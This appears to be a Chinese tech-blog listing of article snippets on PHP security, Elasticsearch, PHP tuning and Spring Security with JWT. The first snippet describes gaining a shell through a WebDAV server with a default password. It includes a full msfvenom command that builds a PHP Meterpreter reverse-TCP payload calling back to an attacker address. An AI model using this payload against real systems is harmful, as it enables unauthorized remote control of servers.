
使用WebDav默认口令上传php远控,不用双击运行也能拿到shell
实战测试生成windows平台php远控kali终端下输入:msfvenom-p php/meterpreter/reverse_tcp LHOST=192.168.31.251 LPORT=8888 -f raw > xiaobai.php发送远控这里我们需要上传xiaobai

代码审计思路之PHP代码审计
00×0 前言最近也是边挖src边审计代码,总结下最近的php代码审计的一些思路,我一般按照顺序往下做,限于能力水平,可能会有不对或者欠缺的地方,希望各位师傅能够指导。00×1 前期工作,需要的工具(我使用的)PHPStorm|是PHP编程语言开发的集成环境。

Elasticsearch7.9中文搜索Laravel7项目
只需五步 集成新版 Elasticsearch7.9 中文搜索 到你的 Laravel7 项目。只需五步骤:启动 集成 ik 中文分词插件的 Elasticsearch7.9 Docker 镜像。

让PHP应用性能维持在更高水平
php.ini文件PHP解释器在 php.ini 文件中配置和调优,此文件的位置在不同的操作系统中是不同的,并且常规命令行对应 php.ini 和 PHP-FPM 对应的 php.ini 文件是分开的。

4spring-security5整合jwt做登录、权限验证,全网最全!!!可用
前言:需要研究spring-security和jwt技术,搞了几天,现把成果记录下环境Springboot:2.1.3.RELEASEspring-security:5.1.4.RELEASE前后端分离所需依赖3个。